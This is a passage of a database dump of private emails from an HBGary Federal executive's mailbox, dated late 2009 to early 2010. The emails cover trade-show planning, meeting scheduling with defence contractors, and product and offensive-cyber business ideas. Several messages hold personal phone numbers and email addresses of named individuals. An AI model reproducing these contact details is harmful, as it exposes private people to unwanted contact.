imagine would have a better pull.AaronOn Dec 29, 2009, at 2:04 PM, Greg Hoglund wrote:We have not been pursuing blackhat.&nbsp; The other federal shows have been much better for us.\r\n&nbsp;\r\n-Greg\r\nOn Mon, Dec 28, 2009 at 7:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nIs HBGary going to have a both here?Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12444,'aaron_hbgary_com/12444.html'),(858,'2009-12-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000120.M916661P3547Q858.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Defending America, CYBERSPACE 2010 Symposium','the DHS conference I mentioned is an AFCEA sponsored event like the Colorado Springs conference.\r\n\r\nhttp://www.afcea.org/events/homeland/10/home.asp\r\n\r\nThink there is time to have a booth at this one?  DHS as you well know is a big potential customer.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 29, 2009, at 1:39 PM, Penny Hoglund wrote:\r\n\r\n> FIRST is incident Response and CEIC is both security/forensics.  We get a\r\n> LOT of leads there, it\'s really amazing.  The US Gov\'t is a first time show,\r\n> thought I\'d try it.  DoD CyberCrime is good from an incident response\r\n> perspective as well as forensic.  We tried a lot of the security shows, such\r\n> as CSI and another one in Orlando (can\'t remember name)  They weren\'t too\r\n> good.  By far the best show for us is CEIC\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, December 29, 2009 10:10 AM\r\n> To: Penny Hoglund\r\n> Subject: Re: Defending America, CYBERSPACE 2010 Symposium\r\n> \r\n> The conferences you have scheduled seem more forensics based.  If the\r\n> new message is incident repsonse and risk/threat intelligence then are\r\n> you thinking about adding a few others?  There is a dhs conference\r\n> coming up I will send u a link to.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Dec 29, 2009, at 11:00 AM, \" Penny Hoglund\"  wrote:\r\n> \r\n>> This was show I was asking about.  With regards to our shows, we are\r\n>> going\r\n>> to DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance\r\n>> software\r\n>> user conference) in May.  We are also looking at FIRST\r\n>> \r\n>> -----Original Message-----\r\n>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>> Sent: Monday, December 21, 2009 2:53 PM\r\n>> To: Ted Vera\r\n>> Subject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n>> \r\n>> Is this a good show?\r\n>> \r\n>> \r\n>> ---------- Forwarded message ----------\r\n>> From: Matt O\'Flynn \r\n>> Date: Mon, Dec 21, 2009 at 6:34 AM\r\n>> Subject: Defending America, CYBERSPACE 2010 Symposium\r\n>> To: Penny Hoglund \r\n>> \r\n>> \r\n>> Penny,\r\n>> \r\n>> \r\n>> \r\n>> Hope you made it home o.k. with the nasty weather that moved in. Below\r\n>> is a link to a conference coming up in the middle of Jan that I really\r\n>> should attend. It will include a number of high level cyber folks\r\n>> within DOD and provide a good setting for me to get our message to\r\n>> these folks. As of last Friday, flights were under $300, room is $450\r\n>> for three days and conference attendance is $525. Lets discuss when we\r\n>> catch up today.\r\n>> \r\n>> \r\n>> \r\n>> http://www.afceacyberspace.com/\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Best,\r\n>> \r\n>> \r\n>> \r\n>> Matt O\'Flynn\r\n>> \r\n>> 954-559-6934\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5048,'aaron_hbgary_com/5048.html'),(859,'2009-12-31','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000121.M107976P3547Q859.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 12/30/2009','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Dec 23 - Dec 30\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                    Sandy Forney has updated their current title to Operations Director, Cyber &amp; SIGINT Systems at Northrop Grumman Information Systems\r\n                  Send congratulations &#187;\r\n            \r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Stu Shea has an updated profile (Experience)\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Lap Truong\r\n    is now connected to\r\n        Daniel Kent\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Stu Shea\r\nis now connected to\r\n            Mauricio Ang&#xe9;e\r\n,             David Brych\r\n,             Barbara Ryan\r\n,       and 2 other people.\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      WSJ.com:  Interesting activities by Santa on the West Bank http://bit.ly/8kXLMN\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  angela fugate\r\n      1 contract down... 1.5 to go... I heart overlapping appointments!!! Sense of urgency is my fav.!\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jeff McCartney\r\n      Anything is possible...\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Kevin Halemartin has joined\r\n    (SAIC) Employees\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    angela fugate recommends\r\ncolleague      Cathy Davidson\r\n          Sales Counselor at New Home Star\r\n        Cathy is one of the most detail oriented people I know!  Her passion for new home sales is inspiring...\r\n        Read more\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2009, LinkedIn Corporation\r\n    \r\n  \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n',122,'aaron_hbgary_com/122.html'),(860,'2009-12-31','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','/aaron@hbgary.com/new/1297000121.M313466P3547Q860.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aaron Pearltree, a new way to visualize your...','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\nMike Steinmetz has sent you a message.\r\n\r\n\r\n  Date:\r\n  12/31/2009\r\n\r\n\r\n  Subject:\r\n  RE: Aaron Pearltree, a new way to visualize your...\r\n\r\n\r\n\r\n  Aaron\r\nIn town next week and would like to give you a call.\r\nAll the best\r\nMike\r\n\r\nOn 12/01/09 11:09 PM, Aaron Barr wrote:\r\n--------------------\r\nHey Zig,\r\n\r\nThat would be nice.  I am at the afcea cyber conference the next few days.  This week I could get together early or late on friday, or maybe sometime next week?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn 11/24/09 1:04 PM, Mike Steinmetz wrote:\r\n--------------------\r\nAaron,\r\nWould like to get together sometime.\r\nZig\r\n\r\n&gt;&gt; Regarding Aaron Barr LinkedIn Status:: Aaron Pearltree, a new way to visualize your favorite places on the web.  This has a lot of potential. http://bit.ly/6PkszG\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',16554,'aaron_hbgary_com/16554.html'),(861,'2010-01-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000121.M493627P3547Q861.eml','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','Re: Aaron Pearltree, a new way to visualize your...','Happy New Year Mike.Sounds good give me a call.See you next week.AaronOn Dec 31, 2009, at 12:56 PM, Mike Steinmetz wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInMike Steinmetz has sent you a message.\r\n  Date:\r\n  12/31/2009\r\n\r\n  Subject:\r\n  RE: Aaron Pearltree, a new way to visualize your...\r\n\r\n  Aaron\r\nIn town next week and would like to give you a call.\r\nAll the best\r\nMike\r\n\r\nOn 12/01/09 11:09 PM, Aaron Barr wrote:\r\n--------------------\r\nHey Zig,\r\n\r\nThat would be nice.  I am at the afcea cyber conference the next few days.  This week I could get together early or late on friday, or maybe sometime next week?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn 11/24/09 1:04 PM, Mike Steinmetz wrote:\r\n--------------------\r\nAaron,\r\nWould like to get together sometime.\r\nZig\r\n\r\n&gt;&gt; Regarding Aaron Barr LinkedIn Status:: Aaron Pearltree, a new way to visualize your favorite places on the web.  This has a lot of potential. http://bit.ly/6PkszG\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5378,'aaron_hbgary_com/5378.html'),(862,'2010-01-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000121.M677414P3547Q862.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','Hey Alex,\r\n\r\nWhat is your schedule like the first few weeks of the new year?\r\n\r\nHappy New Year,\r\nAaron\r\n\r\nOn Dec 15, 2009, at 8:09 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron im sorry but Friday just got slammed with customer last minute\r\n> appt. how about next Tuesday? \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 14, 2009 9:00 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> Hi Alex,\r\n> \r\n> Friday 1-2 sounds good if your still available.  I will come to you.\r\n> Let me know if you just want to talk for a bit.  I can at a high level\r\n> discuss HBGary tools and capabilities.  If you want a demo of the new\r\n> products, Responder, Digital DNA, and Recon I would have to bring an\r\n> engineer.  If you just want to talk a bit first we can always set up a\r\n> demo if your interested after the new year.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n> \r\n>> I can do next Friday from 1-2pm, but I would have to ask you to meet\r\n> me\r\n>> in Herndon office where bill Varner sits. I will have a meeting there\r\n>> that ends at 1pm. Let me know if this will work\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, December 10, 2009 1:38 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> How is your next Friday?  I am open.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n>> \r\n>>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>>> look at another date. Next week is pretty busy also it\'s the week we\r\n>>> spend on strategy and operations reviews. Let me look at what might\r\n> be\r\n>>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>>> between 1100-1300 time frame for next week. thanks\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Re: Discussion\r\n>>> \r\n>>> How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\n>>> late next week to go over things and we can catch Greg his next trip\r\n>>> out.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>>> >>> wrote:\r\n>>> \r\n>>>> Aaron im trying to move some appts around so we can meet so let me\r\n>> see\r\n>>>> what I can do for this week?\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>>> To: Nieves, Alexander\r\n>>>> Subject: Discussion\r\n>>>> \r\n>>>> Hi Alex,\r\n>>>> \r\n>>>> I was wondering if you would be interested in getting together next\r\n>>>> week\r\n>>>> to talk about my new role, what we might be able to do together and\r\n>>>> get\r\n>>>> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n>>>> will be in town and of course does the best job conveying the\r\n>>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>>> their\r\n>>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>>> does\r\n>>>> behavior/characteristic identification of malware based on HBGarys\r\n>>>> Malware genome database.  So far its 75% successful at detecting all\r\n>>>> malware we throw at it, as the genome database gets larger that\r\n>> should\r\n>>>> get better, but already pretty good.\r\n>>>> \r\n>>>> Another idea I am starting to form is a combined capability that I\r\n>>>> think\r\n>>>> can push the rock a little on Attribution.  I am not sure if you are\r\n>>>> familiar with Palantir.  Their main focus in link analysis, and\r\n> their\r\n>>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>>> externals analysis with HBGarys capability for malware binary\r\n>> analysis\r\n>>>> and fingerprinting and start doing some long term analysis and\r\n>>>> correlation of attacks.  I think this approach could push the\r\n>>>> Attribution rock forward a little.\r\n>>>> \r\n>>>> I know you guys are in the \"forensics\" space but would really like\r\n> to\r\n>>>> talk about what that really means, also share where we are going and\r\n>>>> see\r\n>>>> where we might be able to help each other.\r\n>>>> \r\n>>>> If you noticed the time of the email.  3rd night in a row I have\r\n>> woken\r\n>>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>>> racing.\r\n>>>> Its nice to be excited about work, but I need some sleep.\r\n>>>> \r\n>>>> Aaron\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5974,'aaron_hbgary_com/5974.html'),(863,'2010-01-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000121.M865828P3547Q863.eml','mfox04@harris.com','Re: Canceled: Meeting w/HB Gary','How about 1 or 2pm?\r\nAaron\r\n\r\n\r\nOn Dec 29, 2009, at 9:46 AM, mfox04@harris.com wrote:\r\n\r\n> I think it was the 7th in the aftn. I\'m still open, what time do you want to do? \r\n> Mike Fox\r\n> Crucial Security Programs\r\n> Harris Corporation\r\n> 703-338-9434\r\n> 703-961-9456 x142\r\n> \r\n> Sent from my Verizion Wireless Blackberry\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14023,'aaron_hbgary_com/14023.html'),(864,'2010-01-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000122.M307897P3547Q865.eml','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','Re: Aaron Pearltree, a new way to visualize your...','719.510.8478AaronOn Jan 2, 2010, at 10:47 AM, Mike Steinmetz wrote:Thanks Aaron.What is the best number to reach you.Happy New YearMke&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, January 01, 2010 16:19To:&nbsp;Mike SteinmetzSubject:&nbsp;Re: Aaron Pearltree, a new way to visualize your...&nbsp;Happy New Year Mike.&nbsp;Sounds good give me a call.&nbsp;See you next week.&nbsp;Aaron&nbsp;&nbsp;On Dec 31, 2009, at 12:56 PM, Mike Steinmetz wrote:LinkedInMike Steinmetz&nbsp;has sent you a message.Date:&nbsp;12/31/2009Subject:&nbsp;RE: Aaron Pearltree, a new way to visualize your...AaronIn town next week and would like to give you a call.All the bestMikeOn 12/01/09 11:09 PM, Aaron Barr wrote:--------------------Hey Zig,That would be nice. I am at the afcea cyber conference the next few days. This week I could get together early or late on friday, or maybe sometime next week?AaronOn 11/24/09 1:04 PM, Mike Steinmetz wrote:--------------------Aaron,Would like to get together sometime.Zig&gt;&gt; Regarding Aaron Barr LinkedIn Status:: Aaron Pearltree, a new way to visualize your favorite places on the web. This has a lot of potential.&nbsp;http://bit.ly/6PkszGView/reply to this messageDon\'t want to receive e-mail notifications?&nbsp;Adjust your message settings.© 2009, LinkedIn Corporation&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9558,'aaron_hbgary_com/9558.html'),(865,'2010-01-02','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','/aaron@hbgary.com/new/1297000122.M52664P3547Q864.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aaron Pearltree, a new way to visualize your...','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.\r\n\r\nWhat is the best number to reach you.\r\n\r\nHappy New Year\r\n\r\nMke\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 01, 2010\r\n16:19\r\nTo: Mike Steinmetz\r\nSubject: Re: Aaron Pearltree, a\r\nnew way to visualize your...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHappy New Year Mike.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds good give me a call.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee you next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 31, 2009, at 12:56 PM, Mike Steinmetz wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  Mike Steinmetz has sent\r\n  you a message.\r\n  Date: 12/31/2009 \r\n  Subject: RE: Aaron\r\n  Pearltree, a new way to visualize your... \r\n  Aaron\r\n  In town next week and would like to give you a call.\r\n  All the best\r\n  Mike\r\n  \r\n  On 12/01/09 11:09 PM, Aaron Barr wrote:\r\n  --------------------\r\n  Hey Zig,\r\n  \r\n  That would be nice. I am at the afcea cyber conference the next few days.\r\n  This week I could get together early or late on friday, or maybe sometime\r\n  next week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  On 11/24/09 1:04 PM, Mike Steinmetz wrote:\r\n  --------------------\r\n  Aaron,\r\n  Would like to get together sometime.\r\n  Zig\r\n  \r\n  &gt;&gt; Regarding Aaron Barr LinkedIn Status:: Aaron Pearltree, a new way to\r\n  visualize your favorite places on the web. This has a lot of potential. http://bit.ly/6PkszG \r\n  View/reply to this message\r\n  \r\n  Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n  \r\n  &copy; 2009, LinkedIn\r\n  Corporation \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12366,'aaron_hbgary_com/12366.html'),(866,'2010-01-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000123.M221375P3547Q866.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,ted@hbgary.com','Selling Risk Intelligence',' \r\nGuys,\r\n \r\nAttached is my latest revision of thought around selling risk intelligence.  This my best distillation yet, and it contrasts the difference between HBGary and HBGary Federal&#39;s efforts in the space.\r\n \r\nI can see better how Active Defense and our Digital DNA genomes are going to grow up.\r\n \r\nComments, refinements, etc all welcome please.\r\n \r\n-Greg\r\n',7044,'aaron_hbgary_com/7044.html'),(867,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000123.M501231P3547Q867.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Happy New Year','Hi Jake,\r\n\r\nHope your holidays were good.  It was nice to slow down for a few weeks, for us it was all about creating and having some good fun with the kids.\r\n\r\nWas wondering if you wanted to set something up with Sameer or Jim Lewis?  I am not sure what recent events have done to your schedule.  I have put some thoughts into potential solutions to some of the things we discussed.  No easy answers, most of them involve changes to how contracts are put together and awarded and how we look at solving the problems or encouraging solutions to the problems.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15599,'aaron_hbgary_com/15599.html'),(868,'2010-01-04','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297000123.M743249P3547Q868.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Happy New Year','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Happy New Year\r\n\r\n\r\n\r\n\r\nI am out until 1/3.&nbsp; I will have access to bb.\r\n\r\n\r\n\r\n\r\n',1737,'aaron_hbgary_com/1737.html'),(869,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000124.M109169P3547Q869.eml','\"Greg Hoglund\" <greg@hbgary.com>,smb@hbgary.com,martin@hbgary.com','Botnets','Hey Guys,\r\n\r\nDo you have time today or tomorrow to discuss the following topic.\r\n\r\nMan CHallenges 250,000 Strong Botnet and Succeeds\r\nhttp://it.slashdot.org/story/09/12/28/1657245/Man-Challenges-250000-Strong-Botnet-and-Succeeds?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\nThis guy works for Fireeye.  There has been a lot of discussion over the last few years about becoming more offensive in cyber.  Companies that can figure out how to do this in innovative and effective ways will be sought after.\r\n\r\nSo the topic is what types of things can we do offensively that will have benefit.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6048,'aaron_hbgary_com/6048.html'),(870,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000124.M708503P3547Q870.eml','matt@hbgary.com','Re: Conversation','Matt,Thought we could get together some time this week. &nbsp;Your heading out to Colorado Springs for the cyberdefense conference right?AaronOn Dec 18, 2009, at 4:30 PM, matt@hbgary.com wrote:Perfect, Happy Holidays! MattSent on the Sprint® Now Network from my BlackBerry®From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Fri, 18 Dec 2009 16:25:36 -0500To: Matt O\'Flynn&lt;matt@hbgary.com&gt;Subject: Re: ConversationHey Matt,I am headed to St. Louis for a few weeks on Monday. &nbsp;Lets make a plan to get together after the new year.AaronOn Dec 18, 2009, at 9:38 AM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Thanks for the invite, I can’t make it today. Are you around on Monday or Tues next week?&nbsp;Best,Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 18, 2009 6:40 AMTo:&nbsp;Matt O\'FlynnCc:&nbsp;Bob SlapnikSubject:&nbsp;Re: Conversation&nbsp;Hey Matt,&nbsp;Bob and I are meeting for lunch in Vienna if your available.&nbsp;Aaron&nbsp;&nbsp;On Dec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Rich told me he spoke with you yesterday, I’d love to have a quick conversation if you have some time today.&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934&nbsp;&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13927,'aaron_hbgary_com/13927.html'),(871,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000124.M984237P3547Q871.eml','\"Ted Vera\" <ted@hbgary.com>','Give me a call when ur up and about','Happy New Year.  Looks like you had a good trip.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11651,'aaron_hbgary_com/11651.html'),(872,'2010-01-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000125.M344643P3547Q872.eml','aaron@hbgary.com','Xetron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHappy New Year!&nbsp; I&#8217;m back in the saddle after a nice\r\nrest.\r\n\r\n&nbsp;\r\n\r\nWhat are our next steps with Brian Masterson of Xetron?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9582,'aaron_hbgary_com/9582.html'),(873,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000125.M721635P3547Q873.eml','\"steve winterfeld\" <winterfeldsj@gmail.com>','DoD Cyber Conferences','Do you have a list of good cybersecurity conferences?  I am going to be in Colorado Springs the week of the 12th?  Your in San Diego then aren\'t you?\r\n\r\nHappy New Year\r\nAaron\r\n\r\n',8357,'aaron_hbgary_com/8357.html'),(874,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000126.M13041P3547Q874.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Hi Amanda,and Happy New Year.Starting back up on leads and want to check in to see if you have made a decision on whether or not there is room for HBGary on the COIN team.Thanks,Aaron BarrCEOHBGary Federal Inc.On Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:Thanks for the information, Mike.&nbsp;Aaron,I am very familiar with the opportunity that you are pursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that you have left the company I assume this makes their position even worse?&nbsp; I am the lead division for SAIC (also own digital echo) and have been ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have begun our proposal preparation.&nbsp; I would welcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;&nbsp;April Huffman will need to send you a NDA before we can meet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday.&nbsp;&nbsp;I look forward to meeting you,&nbsp;&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979 office703-862-5614 BB&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n',870,'aaron_hbgary_com/870.html'),(875,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000126.M813811P3547Q875.eml','\"Thompson, William (TS)\" <William.Thompson@ngc.com>','Happy New Year','Hi Bill,\r\n\r\nHope the holidays were great.\r\n\r\nLet me know when you have a little bit of time I want to talk to you about co-use of space out here in DC.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1695,'aaron_hbgary_com/1695.html'),(876,'2010-01-04','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000127.M592034P3547Q877.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conversation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  